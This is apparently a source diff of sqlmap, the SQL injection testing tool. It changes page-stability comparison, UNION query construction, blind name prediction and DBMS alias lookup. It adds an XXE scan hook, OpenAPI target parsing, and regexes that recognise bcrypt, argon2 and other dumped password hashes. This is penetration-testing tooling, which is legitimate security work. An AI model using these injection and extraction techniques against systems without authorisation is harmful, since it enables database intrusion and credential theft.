# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
|
||||
# to '--text-only' as before.
|
||||
skeleton = extractStructuralTokens(firstPage)
|
||||
if skeleton and skeleton == extractStructuralTokens(secondPage):
|
||||
kb.pageStructurallyStable = True
|
||||
|
||||
if kb.nullConnection:
|
||||
debugMsg = "turning off NULL connection support because of structural page comparison"
|
||||
logger.debug(debugMsg)
|
||||
kb.nullConnection = None
|
||||
|
||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||
infoMsg += "will base the page comparison on the page structure"
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
warnMsg = "target URL content appears to be too dynamic. "
|
||||
warnMsg += "Switching to '--text-only' "
|
||||
logger.warning(warnMsg)
|
||||
|
|
@ -1394,26 +1426,7 @@ def checkStability():
|
|||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
else:
|
||||
# Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
|
||||
# whether the page is structurally stable (identical tag/class/id skeleton across the two
|
||||
# requests) despite differing text. If so, base the comparison on that value-free structure
|
||||
# so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
|
||||
# the HTML counterpart of the structure-aware JSON comparison
|
||||
if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
|
||||
kb.pageStructurallyStable = True
|
||||
|
||||
if kb.nullConnection:
|
||||
debugMsg = "turning off NULL connection "
|
||||
debugMsg += "support because of structural page comparison"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.nullConnection = None
|
||||
|
||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||
infoMsg += "will base the page comparison on the page structure"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
checkDynamicContent(firstPage, secondPage)
|
||||
checkDynamicContent(firstPage, secondPage)
|
||||
|
||||
return kb.pageStable
|
||||
|
||||
|
|
|
|||
|
|
@ -529,8 +529,8 @@ def start():
|
|||
|
||||
checkWaf()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
|
|
@ -557,13 +557,19 @@ def start():
|
|||
sstiScan()
|
||||
continue
|
||||
|
||||
if conf.xxe:
|
||||
from lib.techniques.xxe.inject import xxeScan
|
||||
xxeScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
|
||||
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
|
||||
# UNION column-count detection relies on too (it compares pages) - so it must run when
|
||||
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
|
||||
checkStability()
|
||||
|
||||
# Do a little prioritization reorder of a testable parameter list
|
||||
|
|
|
|||
|
|
@ -958,12 +958,19 @@ class Agent(object):
|
|||
if not infoFile:
|
||||
query = _collate(query)
|
||||
|
||||
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
|
||||
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
|
||||
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
|
||||
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
|
||||
|
||||
for element in xrange(0, count):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if conf.uValues and conf.uValues.count(',') + 1 == count:
|
||||
unionQuery += conf.uValues.split(',')[element]
|
||||
elif template is not None:
|
||||
unionQuery += query if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += query
|
||||
else:
|
||||
|
|
@ -985,7 +992,9 @@ class Agent(object):
|
|||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if element == position:
|
||||
if template is not None:
|
||||
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += _collate(multipleUnions)
|
||||
else:
|
||||
unionQuery += char
|
||||
|
|
|
|||
|
|
@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse
|
|||
from thirdparty.clientform.clientform import ParseError
|
||||
from thirdparty.colorama.initialise import init as coloramainit
|
||||
from thirdparty.magic import magic
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
from thirdparty.six.moves import configparser as _configparser
|
||||
|
|
@ -1582,11 +1582,10 @@ def setPaths(rootPath):
|
|||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
|
||||
# sqlmap files
|
||||
paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt")
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||
paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
|
||||
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
|
||||
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
|
||||
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
|
||||
|
|
@ -2099,7 +2098,9 @@ def getFileType(filePath):
|
|||
desc = getText(desc)
|
||||
|
||||
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
|
||||
content = openFile(filePath, "rb", encoding=None).read()
|
||||
_ = openFile(filePath, "rb", encoding=None)
|
||||
content = _.read()
|
||||
_.close()
|
||||
|
||||
try:
|
||||
content.decode()
|
||||
|
|
@ -2342,9 +2343,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
|
|||
infoMsg = "static words: "
|
||||
|
||||
if firstPage and secondPage:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
try:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input / interpreter-level hiccups; skip
|
||||
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
|
||||
commonWords = None
|
||||
else:
|
||||
commonWords = None
|
||||
|
||||
|
|
@ -2598,31 +2604,23 @@ def calculateDeltaSeconds(start):
|
|||
|
||||
def initCommonOutputs():
|
||||
"""
|
||||
Initializes dictionary containing common output values used by "good samaritan" feature
|
||||
Initializes the per-context dictionary of common identifier names used by the
|
||||
predictive-inference feature to shortcut blind table/column name enumeration.
|
||||
Sourced directly from the curated '--common-tables'/'--common-columns' wordlists
|
||||
(real-world, app-focused names); prediction only ever reorders the charset or
|
||||
confirms a whole value, so it never penalizes a miss.
|
||||
|
||||
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
|
||||
>>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"]
|
||||
True
|
||||
"""
|
||||
|
||||
kb.commonOutputs = {}
|
||||
key = None
|
||||
|
||||
with openFile(paths.COMMON_OUTPUTS, 'r') as f:
|
||||
for line in f:
|
||||
if line.find('#') != -1:
|
||||
line = line[:line.find('#')]
|
||||
|
||||
line = line.strip()
|
||||
|
||||
if len(line) > 1:
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
key = line[1:-1]
|
||||
elif key:
|
||||
if key not in kb.commonOutputs:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
if line not in kb.commonOutputs[key]:
|
||||
kb.commonOutputs[key].add(line)
|
||||
for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
|
||||
try:
|
||||
kb.commonOutputs[key] = set(getFileItems(path))
|
||||
except SqlmapSystemException:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||
"""
|
||||
|
|
@ -2666,19 +2664,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un
|
|||
|
||||
return retVal if not unique else list(retVal.keys())
|
||||
|
||||
def goGoodSamaritan(prevValue, originalCharset):
|
||||
def predictValue(prevValue, originalCharset):
|
||||
"""
|
||||
Function for retrieving parameters needed for common prediction (good
|
||||
samaritan) feature.
|
||||
Predictive-inference helper: given the value retrieved so far (prefix), consult the
|
||||
per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common-
|
||||
tables/common-columns wordlists) to shortcut blind extraction.
|
||||
|
||||
prevValue: retrieved query output so far (e.g. 'i').
|
||||
|
||||
Returns commonValue if there is a complete single match (in kb.partRun
|
||||
of txt/common-outputs.txt under kb.partRun) regarding parameter
|
||||
prevValue. If there is no single value match, but multiple, commonCharset is
|
||||
returned containing more probable characters (retrieved from matched
|
||||
values in txt/common-outputs.txt) together with the rest of charset as
|
||||
otherCharset.
|
||||
Returns commonValue when a single wordlist entry matches the prefix (the whole value
|
||||
can be confirmed in one request); otherwise commonCharset holds the more probable
|
||||
next characters (reordered ahead of otherCharset) so the bisection converges faster.
|
||||
"""
|
||||
|
||||
if kb.commonOutputs is None:
|
||||
|
|
@ -2737,7 +2733,7 @@ def goGoodSamaritan(prevValue, originalCharset):
|
|||
def getPartRun(alias=True):
|
||||
"""
|
||||
Goes through call stack and finds constructs matching
|
||||
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns')
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
|
@ -3310,7 +3306,16 @@ def isNumPosStrValue(value):
|
|||
|
||||
return retVal
|
||||
|
||||
@cachedmethod
|
||||
# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
|
||||
# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
|
||||
# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
|
||||
# setdefault in dict order preserves the original first-match-wins semantics.
|
||||
_DBMS_ALIAS_MAP = {}
|
||||
for _dbmsKey, _dbmsItem in DBMS_DICT.items():
|
||||
for _dbmsAlias in _dbmsItem[0]:
|
||||
_DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
|
||||
_DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
|
||||
|
||||
def aliasToDbmsEnum(dbms):
|
||||
"""
|
||||
Returns major DBMS name from a given alias
|
||||
|
|
@ -3319,15 +3324,7 @@ def aliasToDbmsEnum(dbms):
|
|||
'Microsoft SQL Server'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
if dbms:
|
||||
for key, item in DBMS_DICT.items():
|
||||
if dbms.lower() in item[0] or dbms.lower() == key.lower():
|
||||
retVal = key
|
||||
break
|
||||
|
||||
return retVal
|
||||
return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
|
||||
|
||||
def findDynamicContent(firstPage, secondPage, merge=False):
|
||||
"""
|
||||
|
|
@ -3349,7 +3346,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
|
|||
infoMsg = "searching for dynamic content"
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
try:
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can blow up on pathological/oversized input (and, rarely, with
|
||||
# interpreter-level errors under heavy threading); a failed dynamic-content
|
||||
# search must degrade gracefully rather than abort the whole scan - mirrors the
|
||||
# guard around the ratio computation in lib/request/comparison.py
|
||||
return
|
||||
|
||||
if not merge:
|
||||
kb.dynamicMarkings = []
|
||||
|
|
@ -3666,8 +3670,8 @@ def setOptimize():
|
|||
Sets options turned on by switch '-o'
|
||||
"""
|
||||
|
||||
# conf.predictOutput = True
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive
|
||||
# inference is now an inherent, always-on part of blind name enumeration (no longer a switch)
|
||||
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||
|
||||
|
|
@ -4414,7 +4418,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||
|
||||
if isinstance(name, six.string_types):
|
||||
retVal = getUnicode(name)
|
||||
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
|
||||
# Resolve the identified DBMS once; it is invariant within this call and
|
||||
# Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
|
||||
# re-evaluated several times below.
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
_ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
|
||||
|
||||
if _:
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||
|
|
@ -4424,13 +4432,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||
if not conf.noEscape:
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
|
|
@ -4463,16 +4471,21 @@ def unsafeSQLIdentificatorNaming(name):
|
|||
retVal = name
|
||||
|
||||
if isinstance(name, six.string_types):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||
# Resolve the identified DBMS once; it is invariant within this call, and
|
||||
# Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
|
||||
# it was re-evaluated up to five times per call.
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
|
||||
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||
retVal = name.replace("`", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
retVal = name.replace("\"", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = name.replace("\"", "").upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = name.replace("[", "").replace("]", "")
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
|
||||
|
||||
return retVal
|
||||
|
|
@ -5826,30 +5839,35 @@ def chunkSplitPostData(data):
|
|||
|
||||
return "".join(retVal)
|
||||
|
||||
def checkSums():
|
||||
def isGitRepository():
|
||||
"""
|
||||
Validate the content of the digest file (i.e. sha256sums.txt)
|
||||
>>> checkSums()
|
||||
Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a
|
||||
pip/tarball install)
|
||||
"""
|
||||
|
||||
return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git"))
|
||||
|
||||
def codeIsModified():
|
||||
"""
|
||||
Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting
|
||||
crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a
|
||||
pip/tarball install is taken as shipped (returns False). A transient git error also yields False,
|
||||
so a missing git binary never silences a legitimate report.
|
||||
|
||||
>>> codeIsModified() in (True, False)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = True
|
||||
retVal = False
|
||||
|
||||
if paths.get("DIGEST_FILE"):
|
||||
for entry in getFileItems(paths.DIGEST_FILE):
|
||||
match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
|
||||
if match:
|
||||
expected, filename = match.groups()
|
||||
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
|
||||
if not checkFile(filepath, False):
|
||||
continue
|
||||
with open(filepath, "rb") as f:
|
||||
content = f.read()
|
||||
if b'\0' not in content:
|
||||
content = content.replace(b"\r\n", b"\n")
|
||||
if not hashlib.sha256(content).hexdigest() == expected:
|
||||
retVal &= False
|
||||
break
|
||||
if isGitRepository():
|
||||
try:
|
||||
process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
process.communicate()
|
||||
if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error)
|
||||
retVal = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
|
|
|
|||
|
|
@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission
|
|||
import copy
|
||||
import threading
|
||||
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
class AttribDict(dict):
|
||||
|
|
|
|||
|
|
@ -62,7 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
|
|||
from lib.utils.safe2bin import safechardecode
|
||||
from thirdparty import six
|
||||
from thirdparty.magic import magic
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
|
||||
class Dump(object):
|
||||
"""
|
||||
|
|
|
|||
|
|
@ -180,6 +180,8 @@ class HASH(object):
|
|||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
|
||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||
POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z'
|
||||
MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z'
|
||||
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
||||
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
||||
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
|
||||
|
|
@ -192,6 +194,8 @@ class HASH(object):
|
|||
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
|
||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||
SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z'
|
||||
SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z'
|
||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
|
|
@ -205,6 +209,13 @@ class HASH(object):
|
|||
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
|
||||
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
|
||||
DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||
WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||
WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||
BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||
WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||
ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||
ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z'
|
||||
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
|
||||
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
|
||||
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'
|
||||
|
|
|
|||
|
|
@ -144,6 +144,7 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
|||
from lib.request.chunkedhandler import ChunkedHandler
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.dns import DNSServer
|
||||
from lib.request.dns import InteractshDNSServer
|
||||
from lib.request.httpshandler import HTTPSHandler
|
||||
from lib.request.keepalive import HTTPKeepAliveHandler
|
||||
from lib.request.keepalive import HTTPSKeepAliveHandler
|
||||
|
|
@ -156,7 +157,7 @@ from lib.utils.har import HTTPCollectorFactory
|
|||
from lib.utils.purge import purge
|
||||
from lib.utils.search import search
|
||||
from thirdparty import six
|
||||
from thirdparty.multipart import multipartpost
|
||||
from lib.request.multiparthandler import MultipartPostHandler
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import http_cookiejar as _http_cookiejar
|
||||
|
|
@ -172,7 +173,7 @@ keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
|
|||
proxyHandler = _urllib.request.ProxyHandler()
|
||||
redirectHandler = SmartRedirectHandler()
|
||||
rangeHandler = HTTPRangeHandler()
|
||||
multipartPostHandler = multipartpost.MultipartPostHandler()
|
||||
multipartPostHandler = MultipartPostHandler()
|
||||
|
||||
# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
|
||||
try:
|
||||
|
|
@ -492,6 +493,70 @@ def _setBulkMultipleTargets():
|
|||
warnMsg = "no usable links found (with GET parameters)"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
def _setOpenApiTargets():
|
||||
if not conf.openApiFile:
|
||||
return
|
||||
|
||||
from lib.parse.openapi import openApiTargets
|
||||
|
||||
if conf.method:
|
||||
warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base'
|
||||
# (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself.
|
||||
origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None
|
||||
if re.match(r"(?i)\Ahttps?://", conf.openApiFile):
|
||||
infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||
logger.info(infoMsg)
|
||||
from lib.request.connect import Connect as Request
|
||||
content = Request.getPage(url=conf.openApiFile, raise404=True)[0]
|
||||
if not origin:
|
||||
match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile)
|
||||
origin = match.group(1) if match else None
|
||||
else:
|
||||
conf.openApiFile = safeExpandUser(conf.openApiFile)
|
||||
checkFile(conf.openApiFile)
|
||||
infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||
logger.info(infoMsg)
|
||||
content = openFile(conf.openApiFile).read()
|
||||
|
||||
try:
|
||||
targets = openApiTargets(content, origin)
|
||||
except ValueError as ex:
|
||||
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])):
|
||||
warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. "
|
||||
warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with "
|
||||
